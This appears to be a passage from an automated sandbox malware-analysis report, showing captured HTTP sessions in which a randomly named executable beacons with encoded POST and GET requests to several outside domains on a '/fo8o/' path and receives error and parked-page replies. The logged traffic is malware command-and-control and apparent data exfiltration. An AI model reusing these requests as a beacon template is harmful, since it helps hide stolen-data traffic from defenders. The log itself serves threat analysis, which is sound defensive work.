43 4f 50 79 35 35 30 31 54 46 58 63 48 6b 44 6b 72 4c 38 55 6a 67 35 30 4b 35 45 36 30 35 44 6d 65 33 51 48 78 6b 4b 65 51 4f 75 35 6a 4f 45 31 48 31 4b 6a 57 62 32 45 30 51 71 51 38 68 76 47 2b 4e 69 51 44 5a 76 62 30 45 59 65 44 4f 54 51 68 2f 44 43 72 39 72 51 3d 3d Data Ascii: blWd=nJfHJZySQmokaqDDVBvEjEK/bANjth/Tcx8AdMLUTo9wAJiLWLPegzI0msG/rR6OqQUcnBJ5CRP0o+tGeDq1a0IDVaRDmecJGi228hgIVAoKBLUmSVqwMy3IWvYSdpcTft0zuxImClCOPy5501TFXcHkDkrL8Ujg50K5E605Dme3QHxkKeQOu5jOE1H1KjWb2E0QqQ8hvG+NiQDZvb0EYeDOTQh/DCr9rQ==
Aug 2, 2024 13:51:52.351591110 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 02 Aug 2024 11:51:52 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 18 X-Rate-Limit-Reset: 2024-08-02T11:51:54.7200281Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49741	85.159.66.93	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:54.129615068 CEST	1820	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.magmadokum.com Origin: http://www.magmadokum.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.magmadokum.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 6e 4a 66 48 4a 5a 79 53 51 6d 6f 6b 61 71 44 44 56 42 76 45 6a 45 4b 2f 62 41 4e 6a 74 68 2f 54 63 78 38 41 64 4d 4c 55 54 6f 31 77 42 37 71 4c 57 73 54 65 76 54 49 30 76 4d 47 2b 72 52 36 44 71 52 39 56 6e 42 46 70 43 58 4c 30 71 64 6c 47 66 78 4f 31 52 30 49 44 4a 71 52 43 37 4f 63 6d 47 69 6d 79 38 67 51 49 56 41 6f 4b 42 4e 77 6d 62 67 57 77 4f 79 33 4a 47 2f 59 6b 5a 70 64 32 66 74 38 6a 75 78 4e 54 43 52 2b 4f 4d 53 70 35 35 6a 2f 46 56 38 48 6d 45 6b 72 54 38 55 76 37 35 30 6e 56 45 36 42 55 44 68 75 33 54 6d 77 4d 61 75 45 6d 38 62 43 70 5a 30 37 78 4b 47 4b 50 33 48 63 32 76 79 34 44 69 45 2b 48 36 48 72 46 69 4b 68 63 65 63 72 2b 61 55 59 77 4c 51 2b 36 33 73 63 54 68 32 45 66 54 73 59 6e 4a 78 53 73 4c 30 69 71 70 58 30 78 33 4b 4d 30 58 4f 43 65 38 58 52 63 44 54 56 67 68 69 78 65 41 37 76 38 67 59 46 69 2f 38 6b 65 73 73 4b 79 65 65 31 45 4f 76 4e 38 51 4a 4e 66 55 44 47 4d 67 2b 65 39 79 31 73 68 51 39 75 73 4b 54 73 73 4a 67 76 2f 6d 64 62 70 2f 6f 43 74 33 6c 49 64 32 [TRUNCATED] Data Ascii: blWd=nJfHJZySQmokaqDDVBvEjEK/bANjth/Tcx8AdMLUTo1wB7qLWsTevTI0vMG+rR6DqR9VnBFpCXL0qdlGfxO1R0IDJqRC7OcmGimy8gQIVAoKBNwmbgWwOy3JG/YkZpd2ft8juxNTCR+OMSp55j/FV8HmEkrT8Uv750nVE6BUDhu3TmwMauEm8bCpZ07xKGKP3Hc2vy4DiE+H6HrFiKhcecr+aUYwLQ+63scTh2EfTsYnJxSsL0iqpX0x3KM0XOCe8XRcDTVghixeA7v8gYFi/8kessKyee1EOvN8QJNfUDGMg+e9y1shQ9usKTssJgv/mdbp/oCt3lId22W4Y81k5HtKy5x22frMsbOotkvbhi646rremCShbroDUjUgsu6c7CjYLkKtFzmpXRGl3Ld7CbiBmuRiduyNdov15vLDVfDEui7tum9E7v4e63VvBdeC6joDS6shuFcb4J0muXndGqjsZzyJG0j/SslrqRihzqqCgho0HnUlciGFL3NXW+tWURlL1cCc4BMrepvUxTDjwpBzNzFaksp+A5VwcSc4WFI+aihmIJlg7EJs13kpMWCJX/+WbKYHKY3+T3bfyzWCTNQ6wAp6JjvaTYaz8GYfdHyQLYRPt4nFYWS02B9Y4/UuwPjSa2+S/+ZUJD0mFwOFpd/UaVEJy20CWWfgfqDZG8R2dMvnd7PuTUZ3ZEAWwkcs/3cUC8BnIK285v2IuvaiBXs2Nm0BQDOzoF2Wr+zhje86nlyoq6dmx782qZxlxWS6cEPhIofgX/UmovvfAfGxbswiBlIgjbQv43FPeWUYFq2OSc32m0PpdkKGDck+WQeFIbtTpAirxB84paDGX+UuBvs9oRlfN9YpWWrobTkUJVhTJMasV72SHqy2faJPw51w05Pabcfu+eGDafkuFamYllEy8B+eLT7rDEvS7Bt+lKe5myvGzvhNHaHBkghkeegmadgtcGD+ga1ZMod+TpSmNwN8uWspb1vuWNNnalfk2Rc8EgM [TRUNCATED]
Aug 2, 2024 13:51:54.910922050 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 02 Aug 2024 11:51:54 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-08-02T11:51:59.7899409Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49744	85.159.66.93	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:56.669017076 CEST	525	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=qL3nKp+YSjoaTomgQjyPoknaJzFflnvGMW8DXsDTZ4AADrD7Wpn1i04piMS1+AOWgCBMohpgbh6Cuut9PSzjNWAySNtnq/EMXCTP7S4oEh8mb9sAZyquFiTVTuU6HpMKOeASrGw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.magmadokum.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:51:57.419544935 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 02 Aug 2024 11:51:57 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-08-02T11:52:02.2922594Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49745	91.195.240.94	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:02.465368032 CEST	786	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.rssnewscast.com Origin: http://www.rssnewscast.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.rssnewscast.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 38 31 4c 31 38 78 65 33 79 6e 4b 77 57 2f 30 4f 35 68 55 50 58 53 72 57 2b 48 41 41 67 71 54 52 6e 45 64 72 65 38 43 58 47 36 77 51 38 50 36 48 62 41 42 6c 4f 4c 58 79 36 76 68 69 4b 58 52 70 69 39 36 54 66 55 62 67 30 62 74 76 71 77 54 4c 6d 76 78 47 2b 35 30 31 68 58 36 4f 4d 6c 71 59 38 42 31 44 57 54 59 4b 41 6c 2f 30 49 45 41 66 6f 68 73 4c 30 56 6c 4a 66 58 39 55 41 2b 4d 6b 55 6c 31 54 53 70 31 59 54 43 7a 54 5a 7a 77 6c 33 62 53 4a 6b 45 46 73 6b 36 4b 5a 6b 37 44 38 70 38 39 4a 64 39 49 54 71 44 51 47 32 64 48 32 67 68 72 61 55 52 44 67 6b 56 55 4f 52 48 32 77 49 51 70 6c 30 4f 4b 65 34 35 36 50 Data Ascii: blWd=81L18xe3ynKwW/0O5hUPXSrW+HAAgqTRnEdre8CXG6wQ8P6HbABlOLXy6vhiKXRpi96TfUbg0btvqwTLmvxG+501hX6OMlqY8B1DWTYKAl/0IEAfohsL0VlJfX9UA+MkUl1TSp1YTCzTZzwl3bSJkEFsk6KZk7D8p89Jd9ITqDQG2dH2ghraURDgkVUORH2wIQpl0OKe456P
Aug 2, 2024 13:52:03.127219915 CEST	707	IN	HTTP/1.1 405 Not Allowed date: Fri, 02 Aug 2024 11:52:03 GMT content-type: text/html content-length: 556 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49746	91.195.240.94	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:05.007319927 CEST	810	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.rssnewscast.com Origin: http://www.rssnewscast.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.rssnewscast.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 38 31 4c 31 38 78 65 33 79 6e 4b 77 58 65 45 4f 71 53 73 50 41 43 72 56 78 6e 41 41 72 4b 54 56 6e 45 52 72 65 35 69 48 47 4d 67 51 38 74 69 48 61 42 42 6c 4c 4c 58 79 79 50 68 6e 4a 6e 52 69 69 39 2f 7a 66 57 66 67 30 61 4e 76 71 77 6a 4c 6d 65 78 48 2b 70 30 7a 34 48 36 49 55 46 71 59 38 42 31 44 57 54 6c 6c 41 6c 58 30 4c 33 49 66 70 41 73 4b 33 56 6c 4b 63 58 39 55 45 2b 4d 67 55 6c 30 47 53 6f 6f 7a 54 48 33 54 5a 33 30 6c 32 4b 53 4b 74 45 45 6e 37 4b 4c 50 73 35 69 53 67 64 78 49 55 4d 4d 45 38 67 59 42 33 72 47 73 38 53 72 35 47 42 6a 69 6b 58 4d 38 52 6e 32 61 4b 51 52 6c 6d 5a 47 35 33 4e 66 73 33 6c 50 63 61 46 6e 63 73 47 78 34 4f 35 64 41 2f 36 77 76 55 67 3d 3d Data Ascii: blWd=81L18xe3ynKwXeEOqSsPACrVxnAArKTVnERre5iHGMgQ8tiHaBBlLLXyyPhnJnRii9/zfWfg0aNvqwjLmexH+p0z4H6IUFqY8B1DWTllAlX0L3IfpAsK3VlKcX9UE+MgUl0GSoozTH3TZ30l2KSKtEEn7KLPs5iSgdxIUMME8gYB3rGs8Sr5GBjikXM8Rn2aKQRlmZG53Nfs3lPcaFncsGx4O5dA/6wvUg==
Aug 2, 2024 13:52:05.676372051 CEST	707	IN	HTTP/1.1 405 Not Allowed date: Fri, 02 Aug 2024 11:52:05 GMT content-type: text/html content-length: 556 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49747	91.195.240.94	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:07.541042089 CEST	1823	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.rssnewscast.com Origin: http://www.rssnewscast.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.rssnewscast.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 38 31 4c 31 38 78 65 33 79 6e 4b 77 58 65 45 4f 71 53 73 50 41 43 72 56 78 6e 41 41 72 4b 54 56 6e 45 52 72 65 35 69 48 47 4d 6f 51 38 34 2b 48 61 69 70 6c 4d 4c 58 79 74 2f 68 6d 4a 6e 52 46 69 39 48 2f 66 57 43 56 30 66 4a 76 73 52 44 4c 78 36 6c 48 31 70 30 7a 6c 58 36 4e 4d 6c 71 33 38 42 45 49 57 58 46 6c 41 6c 58 30 4c 32 34 66 73 68 73 4b 78 56 6c 4a 66 58 39 41 41 2b 4d 49 55 68 5a 39 53 6f 39 49 54 7a 44 54 61 58 6b 6c 31 34 71 4b 76 6b 45 6c 34 4b 4c 48 73 35 75 52 67 64 73 35 55 4d 34 75 38 69 45 42 31 63 4c 75 6d 77 6a 67 5a 67 33 54 38 58 6f 6d 56 6a 6d 6f 4b 79 67 56 33 62 54 52 31 66 6d 45 79 6a 50 6e 59 6b 47 6d 6b 41 4e 56 45 4f 68 4f 31 37 46 72 4f 37 79 4c 69 6c 5a 7a 4c 42 67 59 42 57 70 6b 47 69 6b 79 6e 4c 70 48 68 2f 79 2b 61 4a 62 59 31 5a 48 78 31 41 61 67 46 6b 4d 43 2f 78 36 39 56 2b 67 36 67 49 4a 52 42 2b 63 46 6e 7a 4f 31 73 77 61 33 61 77 57 72 65 58 66 5a 65 34 66 34 4f 67 4b 44 72 48 4f 74 64 6a 79 68 53 66 4d 69 69 72 70 62 46 6a 45 55 48 62 4d 64 47 [TRUNCATED] Data Ascii: blWd=81L18xe3ynKwXeEOqSsPACrVxnAArKTVnERre5iHGMoQ84+HaiplMLXyt/hmJnRFi9H/fWCV0fJvsRDLx6lH1p0zlX6NMlq38BEIWXFlAlX0L24fshsKxVlJfX9AA+MIUhZ9So9ITzDTaXkl14qKvkEl4KLHs5uRgds5UM4u8iEB1cLumwjgZg3T8XomVjmoKygV3bTR1fmEyjPnYkGmkANVEOhO17FrO7yLilZzLBgYBWpkGikynLpHh/y+aJbY1ZHx1AagFkMC/x69V+g6gIJRB+cFnzO1swa3awWreXfZe4f4OgKDrHOtdjyhSfMiirpbFjEUHbMdG8QfHTNHSA7tyZbJWfktDUtH9Vl4Gtq8+Ux/87b5vyBZlZYyttEcaYKi5Hr/Xwb9YLa2Yei/i9KdGN+ekuKAs4DWiqxPCl4h2D2WoPC2Im4LogCU9lEEunC3sdeZQsmzQEnRbiKzvlwJNNZMxkvX/iVUERy7NOcDrGglvWoA//QUJEUrWPAY6bAMuMHldSMDP73WLT/pcef5/eW/phVo3fiAIBIROfcD9pck17f9HLmGF+97KsTXAUSztBb1dglkU5bNDcIl7v4KEW2ezPEtIRzZ1Zvr+Qw/CldBPqYVaiGAbSfwKEdVQBeyWPBT2HgRPcq+pzSZ6hUDvFvX2jyem3v45KFKbEmo+k7N7coOpbPeS9IU5yGQ9dOJkE+sjueUwnXVoxD4ADrgEf9O1w8kIe3k+csb6hu3H8aMIM9szpOhAPv5oN429yEancjxPR4b8FsR4zMEeZD1AjVw2ohXwyv92mSegKgAIr+Ing6DiEGhIs5gNTJZ5y8rfSHKYhPSbwts/AuiHka1aGruK0xGZNDf6subQ987NoQUggtQ0J0nbdgVp6LMofjRX6dZdO6n4Xziut9vo8m2lR3l8kBtheU1WEFXC1J60k/sILCq5v1cil9pn/9isZXUq61rkHNyID53h+JoEv2dtekja9jUQzXrR8gnSLE60bQ [TRUNCATED]
Aug 2, 2024 13:52:08.218708038 CEST	707	IN	HTTP/1.1 405 Not Allowed date: Fri, 02 Aug 2024 11:52:08 GMT content-type: text/html content-length: 556 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49748	91.195.240.94	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:10.068593025 CEST	526	OUT	GET /fo8o/?blWd=x3jV/ECx7FuzXOI5niBKCyXhuUkTi7THyCIVaqWvGMMqpfz0YC5wLsL1wYxwFH1KuInYTmXKqKNNujOvwtdNp7YHjVi2aBezyBUOenUja13YBEIShwN33HoHbXtrY+oqbh1getk=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.rssnewscast.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:52:11.078265905 CEST	1236	IN	HTTP/1.1 200 OK date: Fri, 02 Aug 2024 11:52:10 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_sFpsoWOWjy1Gxf1qQL8nRHWE3XqoCsFsS/egTRN/i368LJ5yZAXBfyj82jILuQ+D8Y+4P6st/jpl25yMeYzRKw== last-modified: Fri, 02 Aug 2024 11:52:10 GMT x-cache-miss-from: parking-5b4c494795-xttms server: Parking/1.0 connection: close Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 73 46 70 73 6f 57 4f 57 6a 79 31 47 78 66 31 71 51 4c 38 6e 52 48 57 45 33 58 71 6f 43 73 46 73 53 2f 65 67 54 52 4e 2f 69 33 36 38 4c 4a 35 79 5a 41 58 42 66 79 6a 38 32 6a 49 4c 75 51 2b 44 38 59 2b 34 50 36 73 74 2f 6a 70 6c 32 35 79 4d 65 59 7a 52 4b 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 72 73 73 6e 65 77 73 63 61 73 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 72 73 73 6e [TRUNCATED] Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_sFpsoWOWjy1Gxf1qQL8nRHWE3XqoCsFsS/egTRN/i368LJ5yZAXBfyj82jILuQ+D8Y+4P6st/jpl25yMeYzRKw==><head><meta charset="utf-8"><title>rssnewscast.com - rssnewscast Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="rssnewscast.com is your first and best source for all of the informati
Aug 2, 2024 13:52:11.078296900 CEST	1236	IN	Data Raw: 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 Data Ascii: on youre looking for. From general topics to more of what you would expect to find here, rssnewscast.com has it all. We hope you find what you are searchAECing for!"><link rel="icon" type="image/png" href="//img.
Aug 2, 2024 13:52:11.078310013 CEST	1236	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 7d 73 75 70 7b 74 6f 70 3a 2d Data Ascii: ne-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,sel
Aug 2, 2024 13:52:11.078386068 CEST	1236	IN	Data Raw: 68 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 64 65 63 6f 72 61 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 7d 3a 3a 2d 77 65 62 6b 69 74 2d 66 69 6c 65 2d 75 70 6c 6f 61 64 2d 62 75 74 74 6f 6e Data Ascii: h]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:n
